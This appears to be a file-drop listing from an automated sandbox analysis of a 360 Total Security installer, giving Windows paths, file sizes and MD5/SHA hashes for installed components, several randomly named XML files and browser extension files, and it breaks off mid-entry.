C:\Program Files (x86)\360\Total Security\QHVer.dll

Filesize
14KB

MD5
63a88250295528135e6ee41b0cbc255f

SHA1
15f146685c055360346e47e892f96238e6173489

SHA256
0463ad6297e656bbb54e5d0708563fd535019c79bc0520d727a9f8141e519d90

SHA512
eb6cba7d91ddc343c7e57479c6b17baa046a0263cbc7945dd1bedd0c39f2240bf38528c45b253e149fd628465ac3fecf29ab3ff3c1932d856ffcd0ee842c2cdd

Download Submit
C:\Program Files (x86)\360\Total Security\deepscan\360FsFlt_old.sys

Filesize
518KB

MD5
cd20d1dd4eab42c47d1ded235f97329f

SHA1
a4a21345c840854e3798a008d244db53217e42d7

SHA256
4df4e20bd4062e8971d85e8145b0b91b60922ec9f007702ba2b81d08029ba8e3

SHA512
67ca599dda7c69fb1220265e913b5b6456c36a67f148e7d58fb7c78e20afad92ca4e628ee9e484de91235c898e855d96edb93ad186099753317585fc20e3c01e

Download Submit
C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV64_old.sys

Filesize
223KB

MD5
92250774eb2f9dd1316fc5dca5a1d375

SHA1
df62deaf0a9eacdd74b6ab1c03767a4cb7af9221

SHA256
6edb05bc886e30adba4164cc852eb089630d936f106a5a29f4d30727f1a6535a

SHA512
bf68a4955cc09d20380736bb78b16f15ac85a6beb6af5065a640d7545707f573a17a5aa0f6664a2b8f2cd7bf0cceb186f885210c8a07fc5d185c030d01793fd1

Download Submit
C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV_old.sys

Filesize
194KB

MD5
98ee79b8e82c1da453c71a6f9380d128

SHA1
7e9178bab13a14b4b5567994ada35d13fdb2b1be

SHA256
dc346a2acb7a340a3ebfec2ac684254defb66f5485726d0ef32b51a3247fab83

SHA512
60b4b163a4579af0e39f594b1fafdfca09cd7cb99c598cc708e841be3ac13ca56d1c6c2a760119060f82191e26819e6028ca4bd76cc25008a476f6b24e11acfc

Download Submit
C:\Program Files (x86)\360\Total Security\deepscan\dsark64_old.sys

Filesize
175KB

MD5
a4c68afa8fca59190ab429ae631399fd

SHA1
2a4e3d62661e564468e4dfb99761de099434e3e5

SHA256
11be27f2ba0af548e2fd5ad7baaa5ac3e10b928b0742680ab9f673d1ebf31521

SHA512
2e3d5381649b8cb97179751963b572ff4f828d581b1e87df0cedf5ed51f76235db0ba4e78087562ac6f9f02f805b9ecafdba53a1b4572363829211643d4f8fef

Download Submit
C:\Program Files (x86)\360\Total Security\filemon\360AvFlt.dll

Filesize
53KB

MD5
da5e35c6395a34acaa5a0eb9b71ff85a

SHA1
5da7e723aaa5859ab8f227455d80d8afa7696e22

SHA256
5e11c25e4d6e146c5e10fcbc21b2cdb5e97ec47f25c416e5d263985f3d964172

SHA512
49660339594abff9b0590bc3f401634a514834cf98fa8715b05a57a3cea575d74859681984d8c2c601d5fe947701f8f110450fac764a5d32096e24d7eadcdd2c

Download Submit
C:\Program Files (x86)\360\Total Security\filemon\360AvFlt_old.sys

Filesize
84KB

MD5
e855e9039f37523e6b01e05107cefeff

SHA1
c0882da58826de9fb9bc95c929a73fb71735fd78

SHA256
3b81711731e79ea45c3545b599f3ebc21ced95f608694332892c918e6b2faa17

SHA512
c3c56ec6a31f9c0a49b195b2e503659c61b47cf556747ebaffe6fb9f8880a8bebae84ba12a749ad0191087bd3e843ed99c1ec74f51744a3743705dbf46c9c325

Download Submit
C:\Program Files (x86)\360\Total Security\filemon\360avflt64_old.sys

Filesize
98KB

MD5
f14d2b6d2d2028ca0851a604cd69c408

SHA1
54fb598af2f9ec109973085322e5b79254856560

SHA256
167b31798b2bec91bb60eb64f50300a0c5e1605203349817754c6be161a84539

SHA512
9dda7ba6c320f7dec35bb118c792fa6c56ec5c32610f7d93776f4bbb0a031be5a7394cbe8931608faece0a855a26e927b2ffffcdb005be6751e07add4f19b49b

Download Submit
C:\Program Files (x86)\360\Total Security\filemon\AVCheck.dll

Filesize
321KB

MD5
0fc2f13d9e0cfbd4903a77051348d16a

SHA1
c1df2fe56cbd15271020e48751c39ab482f6eaca

SHA256
7b79ca1ec9ea05d6549218af8c646f8cb25c563e66d810ca8890340066cff72b

SHA512
6977514116a2fa2c0a884b46975cfa048d966448e493c1415467d6be8719c6b40db0181a861f9e0ef53aa90a3b04012e02e6aecb70230745c487355170416efc

Download Submit
C:\Program Files (x86)\360\Total Security\filemon\AVLib.dat

Filesize
359KB

MD5
e3bcd970502ec0d7ebb03bfb2c4a3bab

SHA1
5da1058a0be57b048a2c1b3442de44c576a4c913

SHA256
2265a0b291d07eed46ff162f10dda492aa62aed8ea8b5b6146cc995e15dcbab6

SHA512
b5fabe8a300baf6b3535d19091438aa7ce647db286642c9e1a8635fc11ecf488eb6f2b5734a01a3072fe5fd7a16185d2272a51f657a4bd78c0ab8fff9516709b

Download Submit
C:\Program Files (x86)\360\Total Security\i18n\en\UrlSettings.dll.locale

Filesize
22KB

MD5
627cbb9d1671cd7a553cb9e59e765bbf

SHA1
4a4916f14c4ca7d26dac88ff4a5884761d8c5a70

SHA256
063e660b1e32cbaefb8b928f1fa638853bbcb6b996bb08496fc861fc5425a840

SHA512
cfe0246353d9670ac7d77994633e8c55aca4a3ecc889c52d09949e427d5e5e06056678de15ecc3017af81ca6ca1333f624f8652a7488dd4e317c6a46c8719237

Download Submit
C:\Program Files (x86)\360\Total Security\i18n\i18n.ini

Filesize
246B

MD5
dfc82f7a034959dac18c530c1200b62c

SHA1
9dd98389b8fd252124d7eaba9909652a1c164302

SHA256
f421332fd132d8405cad34871425c9922e4a1b172d74f86b9e4e7ee750205919

SHA512
0acb2a043303ab1c033313d62b9b4dad8ca240e345195c87776f99f129a93946036835872b336a8efd996657c37acf56da7c01d68add340408e8fce72fc66fe5

Download Submit
C:\Program Files (x86)\360\Total Security\ipc\360AntiHacker64.sys

Filesize
186KB

MD5
0e93f09b4e51c6a8a66cd1c9ceeb8ff3

SHA1
b868b7f8fd150cdd3b5d569738154e62350aef5c

SHA256
66152d1316b674a95ee0bd63844e6acb5a709a177934814aede80166bf2bc204

SHA512
c5b9f574d83f81b58147056f94ba82deca63195a2454db6f5196057e91d3e7fac15c94951c4e7bb14d3f2aeb2a2eec4230594646c27280abab58df3f9e4ef239

Download Submit
C:\Program Files (x86)\360\Total Security\ipc\360Box64_old.sys

Filesize
342KB

MD5
69c04d5da61c59c89bbd36cbaa13e9ae

SHA1
0369967f432d623a1fad7c5c1a7405104faaba44

SHA256
23283e2c2bd6ccb04436c90037282dd103bc8add9bc62e9f5d34842e2e336b11

SHA512
3bfabad5b72eea44af705a3c482e7496e6a1547e0ddd429740a6d69e81895a651c87ea3ce6b53ad0ab6f2df331516ea80bf1ae47b02d6becb01e4d9f51ae4024

Download Submit
C:\Program Files (x86)\360\Total Security\ipc\360Box_old.sys

Filesize
216KB

MD5
df38750f3f3e205e8795724d970189ea

SHA1
442952863db2e6466ec9ca116b1ce85876100a89

SHA256
5d90f8287ad1ccbc6e6c3c656b1a84467c50801590d8f730c10b0d106532294c

SHA512
9311928c6193f11ba3778b546e0081062998b9da4356529a341971cb343af0adeaef8e4099adcf4dc8905b68dbe8cf86d43cbb2690d64d328c21631803540b4c

Download Submit
C:\Program Files (x86)\360\Total Security\ipc\360Camera64.sys

Filesize
48KB

MD5
d85dac07f93d74f073729b89dc339251

SHA1
e628f85f1365d9164140391cb93a2b22a4fb8ba4

SHA256
5b64447141ffe714f04a4ae489dac020b5ca0c31011c8edcc22da8cbfe265256

SHA512
896aeee641e5ad5df74c16ae8bed9c0f9ef53034c391b47e5c99540a3da58bbae9524f0bcebfa93f395b7b6e6a0ad1100e27f19d05c796abb1da6660a3b35da2

Download Submit
C:\Program Files (x86)\360\Total Security\ipc\360hvm.dll

Filesize
23KB

MD5
e540bc23b3f5934dee4d7b7b39fc3ac2

SHA1
465f0b0e4fe49b81a43980dd0cf40e068e98abed

SHA256
e794c636a50b5f51e0bd233c59c9144277a94792d3537460123a39c583d01421

SHA512
39412ddea1f7b16ae1b6d89db7f7c24b92b1b310f3d9191ab82bfa01283044d3c4e991a5fd4efee98d00c1e65d76328bd396138e5dfc90f44ed49ed605f8e764

Download Submit
C:\Program Files (x86)\360\Total Security\ipc\360hvm64_old.sys

Filesize
330KB

MD5
f93fa692aa3658422997643f51c1b7d8

SHA1
d00ddf850a7f937d1a75c401227a70fd80718171

SHA256
3c9da5ab28427405bf1099c1e7c3e77683c658c0c7c5fc458f606f368e7c6fc6

SHA512
b30b87b49f0155f2e310730a71e39de041b74d2aab53215089fc61be700854d5576c540eca34da774c358fd89e516204be14519576e2946a05b1f90318659745

Download Submit
C:\Program Files (x86)\360\Total Security\ipc\DrvUtility.dll

Filesize
171KB

MD5
bc8917f469a0e356c015ad6a31acc134

SHA1
a2e0fbcff53018ed92754065beb0a16e35339cf3

SHA256
4f798cf1e27dd355709c4ebe11a24b17ee832b4051f8952d9ae12942e0ccc5a9

SHA512
f9039ea609c18174dd76f5a89b6af4908573fe194cfaf412430c755da0626dce7b92f668e5cac6b195c91f17cc4eaf4ddb963b95bc6de7483c05436f7f4f59c8

Download Submit
C:\Program Files (x86)\360\Total Security\sites.dll

Filesize
1.4MB

MD5
d43fa5904a62445893fe1db320ff2e7b

SHA1
2f888949e9c3ce0f647b97ebc8289ae3f2f2eaae

SHA256
074f19878542b07060bcf7a10238aac2571eda75f6596fed6a0a1f7e884f2305

SHA512
1589551e1b5f2c8794f56543eb472c1a801f6dd6b338ffe406bf91bf39061a9022fe13c9a460589a42f243f5329193ff2ae32b1112252fc78d0321c68313b34c

Download Submit
C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\PNPNSmR.xml

Filesize
2KB

MD5
f298fff0a9926dca1d37f02540e9ed5b

SHA1
5ecf5a9f619382882961f8914828823cb5ba4963

SHA256
074ff04f076cd8bb98a9065a467a87e8be109032df9677c196e7a2a94678df94

SHA512
e69573a34f65ec03a81052ee39cd1ff31f550eb3adc2c892cf27ba613fd107b888d16733631a017a4ebf365c0aaca7f22208cf40426f43b0085e1f1a4c6f68eb

Download Submit
C:\Program Files (x86)\QtKEgKYoTGTqC\JaJEgHI.xml

Filesize
2KB

MD5
f6dd0164cd1d8f5c3a4d54166f9db8ec

SHA1
fb40a274c966a8e78f9e8ec02172329446eb9aa2

SHA256
e8e21dd398e586e4d1e37ffd1fc994daaa54266c19dc06201b6ad69da1fb690a

SHA512
c0f3d6b6eb87a2ca699f3c47d99cfd59c796168d977c71c17d3948e421bfb4e8780062697897f75e6883c366fc4af79a8019585b6f5e1988f7eb4dc9aabb32f9

Download Submit
C:\Program Files (x86)\dlfHiRefefjU2\oNwMIaj.xml

Filesize
2KB

MD5
0a91673a67dd46cae91a65df669d465c

SHA1
2e8e067788192b5118a43a01b5806b241e028ab6

SHA256
ce1eb97ee2f7d9fa5ced3485c70c3d34bdbc7f901eb9fa42d24f31fcbf541707

SHA512
fd79b22003ddc4877361162560ce6bb914a0e759b2fb902fec1e9a93caa06a7cfc2e8bcdd4ca5b76a016409a9181d879b34d251921ce248de1ea4263db8cc4c9

Download Submit
C:\Program Files (x86)\hsUwQAlMU\BwSTkRs.xml

Filesize
2KB

MD5
66d95582941a3094fbc304d7222801d5

SHA1
35e1f5cc09463988bc42bb134747307530d06f66

SHA256
6c9762282195dc4739873266d0a652388b6b54944f59196cafddf75aee110019

SHA512
02b7f4d744857535500d47c4cbce055ab14f03d00a7fe8edcb4917242a4f583910d818e770b0eaab7dd98944d96f91391fdca2c60c49e1eecc4c7af07aa2f2f9

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.0MB

MD5
66b7e433fdf2c962f01a879ed2749169

SHA1
45007830b9116f86029c4bf1717d8e0e735a7fae

SHA256
3cebcaa1d338ea76d0c3d68d333eb77222996c9696a1ee023f5f4766b290d312

SHA512
1753dd43239c3815cded59390d0d5dc6cb6ae46881d85349deca133423a46c188498f9f6e10e2830bbdba1307f4435dffbb5acdbb0b434ba70595c38873968df

Download Submit
C:\ProgramData\nivjmgppGaMJQQVB\yiJqQBw.xml

Filesize
2KB

MD5
96cdf2d31f3e5bb0bc053cdcfe09dfc5

SHA1
e4a870b69d0f785245a47677ae96fab34a8c2598

SHA256
05d242930f11fbf3313b86a7501378f1fda214737498b8c95d06940152517f0f

SHA512
04a96a2217aad4c19196ba3f21fb6782a72f5e1907820250b6a686cb52f2f40ad1bc151671f121cc31a5d46ef1a033f62e4489b1521fdaf8face94549ea2b1d6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
c0927144a7ba6fbd02545d4badebddc0

SHA1
2623eaaea1507df2fa5c468059a51198cc5367c5

SHA256
22f48b9f304815585dd3bb4e51edb1c4b3120572c6553e713389dc7336506b18

SHA512
e3eec535155a14ffe961459c2273218bb6d5fb2b2feb05301a1b2fd4e52df1c77e6c7abe727b78aa7640838e0b7c364660ac619e502fecdb69e56453baee2201

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
656B

MD5
184a117024f3789681894c67b36ce990

SHA1
c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e

SHA256
b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e

SHA512
354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

Filesize
830B

MD5
e6edb41c03bce3f822020878bde4e246

SHA1
03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9

SHA256
9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454

SHA512
2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1717414941_00000000_base\360base.dll

Filesize
1.0MB

MD5
b192f34d99421dc3207f2328ffe62bd0

SHA1
e4bbbba20d05515678922371ea787b39f064cd2c

SHA256
58f13d919f44d194827b609b6b267246abc47134bb202472c0dfe033b9d7ed73

SHA512
00d4c7a0a0097eb4b31a71a0eaf6ff0d44619f77a335c75688565e34e6d7f4fb6c258917457d560c6b0a5077603845ce012e01d9862e87fb5327d7f8da970f95

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\360DeskAna.exe

Filesize
223KB

MD5
9c914da5ba91ec1854effa03c4ef6b27

SHA1
a2dfc7d70b5fedc961b0bc6126962139bc848ea3

SHA256
f78eee64134aa2fca1d6eecaa8ad2c3bf9e54c232554525ac4783768daa677e1

SHA512
266efe7361a4226a5fcf81fd11ae96f7131e8911adf6955423bf054d825c210b634bd1a2ac2f112c5b85fda9aa1b9ca07e3646179bf9977724bc5b4e9e7dca42

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\360DeskAna64.exe

Filesize
217KB

MD5
4b26b4b4f38fee644baccefc81716c6c

SHA1
6036d5f882e7e189859e58fbbd4421a2b09b58dc

SHA256
48b9596b3c7b1af2c0c5cd62a815f7e43deac03ae3e91da26e8dec2891c915be

SHA512
76d2235e29a906c8973374d2ec3cb549222d431695daf6ceda2aaeee95fd5bb35dd57d53a73d9a7be04fe38d10f81eee398bb81bf3c104bd0fc17e871d081a60

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\360TSCommon.dll

Filesize
483KB

MD5
fd9ec3f6ae3ec4e72c7d8adb9d977480

SHA1
304b83eb514354a86c9b136ac32badcec616fed8

SHA256
deddae3c60a724e167107cda7d4ad0481d8ab451f61081eff7730d0f114da918

SHA512
22a47674c2000c175594e8b9f95d23665481a2f2c84f8870a4ad58095aa107b9a0ba61a5315ebdfcd1ec6a4b3031bb3e21ee6e2624d57daae20c587592cce5fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\360TSCommon64.dll

Filesize
618KB

MD5
40e115b8b079bead649964fccab4b2a8

SHA1
e2a80de5244ebf4007de8a74cd0003055ce87656

SHA256
a4a6473251bcfff7944d7b23f823dfdcb150a7353b1f2a54e20a3e2fbaf03e07

SHA512
b73cc36bc808ce2c1c3280205bf848a51faefe07671cf8a6e6bb7e91fa26522069a82ddee3fbf68a3e89318b1ba0a8784b1a4efce9d163c606033e78919b2db4

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\360Util.dll

Filesize
675KB

MD5
d9a8493f1ce7b60653f7fb2068514eff

SHA1
c8c0da14efeb1a597c77566beed299146e6c6167

SHA256
77cee2e41fad67986c6c6e1426bc6bdaa976b1dcd3b24f381376b201d201581c

SHA512
0b500630e13aefba621c0f66aef5f2528c0fa0c91deaf19e92999c6377908f53f3a6b23fb90723b890155877ab7b8b40eacd851794b23ff213cc33013734415f

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\360Util64.dll

Filesize
842KB

MD5
8b14a80d926ffdab593b6bc0b002b9c4

SHA1
c84c938543ef6d2c42ad0c61f970e3d1ccb3be44

SHA256
669a13733ce62edac298f91f957ebc7c748918d07c7730e94fd930d6141f8078

SHA512
d049f415db5dc5c38a968251e72930a8a90e126617f514b0566f203435ab8f1e96371c2c8f0f40cc60dbcd48b284bf46369d377eb4fa61e4fec6def054bbb744

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\CrashReport.dll

Filesize
170KB

MD5
94a08d898c2029877e752203a477d22f

SHA1
d8a4c261b94319b4707ee201878658424e554f36

SHA256
07ed1d3443e7f9b2531aaa0b957a298ea6c5c81bcd321e7faf25a17a85063169

SHA512
79a2e121665e403767e5278bdbac6c52f6ce048d0c3968a2fb5053229c5d98e9275acbc48806c45b8bc2e807f6e52ee4dad54924b758db8328fb262c6fd176b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\CrashReport64.dll

Filesize
199KB

MD5
f0ec259bc74b69cac5789922187418b5

SHA1
99e738a12db4a60ee76316ad0a56604a5f426221

SHA256
09eafeda04f79fd1faf273efe104e877b719fb31689838aa12a3e6d3384a3da4

SHA512
630cf0a30961af6d41d24f2d2fc81e0c10c99e19241aff7e14aa38317eebbe01e5d85c1cb5848ecfd7b75e2fe762cf4a07fee781d052b48f0a3c15a37505dac4

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\DumpUper.ini

Filesize
255B

MD5
2668ce9c7e8941ea875256edf1a8ab80

SHA1
5633587d5840fb2d4caaa583bbb3068bafbeb904

SHA256
4e3cf28ef3ce5b806c632f99482560a5246de9f86aafb7a47cdc78e5b4b019a5

SHA512
b92440a8b3dfc54c577a45cd132f07c525300de90297f89ace88b7395432ccdc08b3cc9cda4c523cf82b46d371eb4869a8ed8b3d0720977afd983634037c61b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Dumpuper.exe

Filesize
1.4MB

MD5
bf7d946721599d16e0fa7ef49a4e0ee4

SHA1
74c6404d63ab52aad2e549b8d9061ee2c350ac5a

SHA256
5f21575642ecf7d38be30aef50be623f74dc3644603e0cb48d1b297ae2066614

SHA512
dd8b5e8233033a3ddb30278b2b82c60925bbca63edb68aa1e23c0a6a8f0dd8da21f60846c747fea83be7ed1e99ed86379ffff7b6aefde5ffbb85e3f98732725f

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\MenuEx.dll

Filesize
315KB

MD5
273c2d00588d203a9f1486cabacc7c57

SHA1
cd7782e5836d645b2244bf30fe91c79fdcfc86d2

SHA256
d14d7de52c5749549a17e7614bd3df8278e8595ffca4110e6289c56a21eea6dc

SHA512
6cf37c151a21447ac35638af22f6324ed0c10df736e5e54be279b5db8f68da86d85ef6fdfa3b4a22b2ccecd98dd37abdc93b9e8f391a3a90deb1e4e4990c1779

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\MenuEx64.dll

Filesize
388KB

MD5
d569954dc1054b6e7d3b495782634034

SHA1
dfaf57da05704261aa54afaa658d4e61a64fa7f2

SHA256
11294e063fe9a5d5b6019a39b48bebb75f536e27ff92008c85e9357c95805b80

SHA512
b12e2a6cfe849b5df21295f4a538db0381f2fb8c63b8b4dfca9778af16c68d23336140874a64deb324e39da0ac52b1f2292812fd02967d415319ade1ee965b6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Sites64.dll

Filesize
2.1MB

MD5
4bd489f48461de0098f046eeb0fcfb1e

SHA1
047c39f1b52602eb19655c4ce42d67e8aaabeb9a

SHA256
e751410539c790554ef7e3f198689b61ed06955a608dc1fcb392bb4b7fe522c6

SHA512
a97929d19b9fba341bc52bb96eea0c97a952f3ed2e6cf233cef9b38b3fd678f0b85c1703fe4c0d6f9c6ca3e6577716e564f92e9b36f7806ae0f5dc3c15f9caa8

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Utils\DesktopPlus\360desktoplite_config.xml

Filesize
2KB

MD5
317389a32c0d48a482f8453e5bbde96b

SHA1
08c5d3524d5233ff9fcadd92f6277a0318cb1900

SHA256
e4bc20cb89a35695f6a154adf9f2da9b9e6e548c49dd08cbc858995235f2503b

SHA512
32a3c2afc24cdb4db49a103036a0c86f3ddfef2731e9e1af9863dbc70e79bdf0537b7a93523110ff77987bef09a2245e264f9af9eeb17bbbd46190f8ad0dde06

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Utils\DesktopPlus\DesktopPlus.exe

Filesize
2.6MB

MD5
7186838bec4478b234b432d264658f10

SHA1
5ce0f57d2d176e89fd345caa30e1f0de0f63e24f

SHA256
e2fa4a52ffbec327e8678fb584cd6573c7966737251e6aa3cad113d63c3ca0e3

SHA512
6f1ba31675177c0aae4bc9cc65690b9f52abe2292173d7a12bf8816ada6593b9546dcb7e27ccec4b592ed42cad785e0572a8b4dbff2978c1d7d0dc0f5cdd9d3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Utils\DesktopPlus\DesktopPlus64.exe

Filesize
3.6MB

MD5
addb69f9a976b47243ed7c621c7e5c10

SHA1
6f0d78c32984b7dc764df183b76802f2c2203a11

SHA256
40920438eb1b105449b565d669cbc7f74a7c8499a1ebdc683bbf62499c222a5f

SHA512
4aba4c7ff23371d667506da3a2d0c9bbc165070f7e2a66341b27eece3301c3c1723f96850d8266859c144932232ca1b4de1057883ca0cfd9de026a492344c953

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Utils\DesktopPlus\Utils\360ScreenCapture.exe

Filesize
668KB

MD5
050132ace215b38e8311e8f3fc11a6f2

SHA1
ccaecaf99d9b8acafd1632e3735b89d567af5112

SHA256
234184ee1c37f28ef75a950501e91d6b55c829f66b96696a1a8e83a09bdbe883

SHA512
21b4d364a3ea965adf7a697f70f64ad6ca660bf0bc6a664dec00918d4529bf647b36e2f3268ec0f59d7b51f3b6c55d573d45ec2026849dc51b376dc59f59e736

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Utils\DesktopPlus\Utils\360searchlite.exe

Filesize
915KB

MD5
85f76a8481c642654ae58caf6d1b35a0

SHA1
5925a1f3a265311e8d818407062ddf5cefffac3f

SHA256
81399a7379aebbbfbce8d8cbc2d482ca04c38ddc91919ae5c6ee3a0f8fb3ea9b

SHA512
7da2f2550b4bcad5a5df5033c44635722724ed68fe97fa9e383032432283ac43e3dbeb0f4080368f86d2e2b54b91a166f5e6280c35f0ae7e8af3e31c478fb48d

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Utils\DesktopPlus\Utils\search_file_type.json

Filesize
1KB

MD5
28b79c423115a9f4c707c22b8fd33119

SHA1
61d190717506e84ece4bb870562e8b8885a2a9c3

SHA256
d1b7bc9a125cf0ffc0996bdedec5e1fa724212fab340103ceb5bc1be3c25e686

SHA512
4689fa3e9db913cc2f17488a110d6b56e434f686c830a42caed51e5a545ca15eed83436c4073e1fdc8cb9e4b88203e0f9278006c5c1376c22a6b2d2608930f41

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\Utils\DesktopPlus\bell.wav

Filesize
156KB

MD5
bcca16edddd1ac7c3bb3a5f5a0d35af7

SHA1
82ed94f58c6f894d517357f2361b78beab7a419d

SHA256
effc1ca8846a39001e410b2d8351b76be093342d139b332aa6260db01ac820d3

SHA512
e419b6be471f0c043aeb57074ebddb02392fdfd6d0bdbc65881e2711885ed15549f394eca571583090747a0ff0eb1f70c9d2539bc1ca8c20c1b0129d9d24ecf2

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\config\lang\de\SysSweeper.ui.dat

Filesize
102KB

MD5
98a38dfe627050095890b8ed217aa0c5

SHA1
3da96a104940d0ef2862b38e65c64a739327e8f8

SHA256
794331c530f22c2390dd44d18e449c39bb7246868b07bdf4ff0be65732718b13

SHA512
fb417aa5de938aaf01bb9a07a3cd42c338292438f5a6b17ef1b8d800a5605c72df81d3bae582e17162f6b1c5008fd63035fa7a637e07e2697cb1b34f9197a0cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\config\newui\themes\default\360searchlite\360searchlite_theme.ui

Filesize
146KB

MD5
63c5291258ff6e9ebab439096bd20936

SHA1
2dbac59459beeed1f8e409a628f04b92adf57124

SHA256
d83d1bf6aa9a21b4c57973548450b3b2da43bdbcb2e1af04e3aeabdf9d3f5f92

SHA512
a1823add3da1a516c56b5a4af54193e46d18dea47201cd3ed0db7aab91c03eb872074dfeb90f65cbce58bfd63ec94bf10f7504c3cd3eba9021d0fa69fcca4542

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\config\newui\themes\default\360searchlite_theme.xml

Filesize
24KB

MD5
bdc55a163963a6d2c5c1d1e7a450a3bc

SHA1
1f3b287d55d205648201fd61e950dbb9ce9c256c

SHA256
8e5583274cbaca5d557bd095cf739a5b5f8786337a575d5c1d5df67545befacc

SHA512
411a33de90a66f0aca35ab7d03b65d4a8a92612c96ddbd628886e4af5c1076bfe9258708c04cd85222326244399920866fa827ddc545034c5241513688f09e95

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\config\newui\themes\default\DesktopPlus\DesktopPlus_theme.ui

Filesize
2.6MB

MD5
e20b0d486caa3911ce0c425b5c8746f5

SHA1
59c181d2dfacc07fee7001adbe0f6301db18f553

SHA256
ddcad9ae427569f62da3215069239578f34efda606c0a175a1801a91d92b987a

SHA512
d992b1d908a8ec4140c7430e1f0d82ddcb53ae21113df797e19afa7f515c9c074385997471a6d0a0293db916592e705bc7c56a89e557f3d87a5b4425f5588941

Download Submit
C:\Users\Admin\AppData\Local\Temp\360_install_20240603114223_259534978\temp_files\config\newui\themes\default\default_theme.ui

Filesize
1.2MB

MD5
2fb109ab0459027cabd72f267a6ac333

SHA1
bdc77184595ec35165dfc4c1858e643efeb0b45a

SHA256
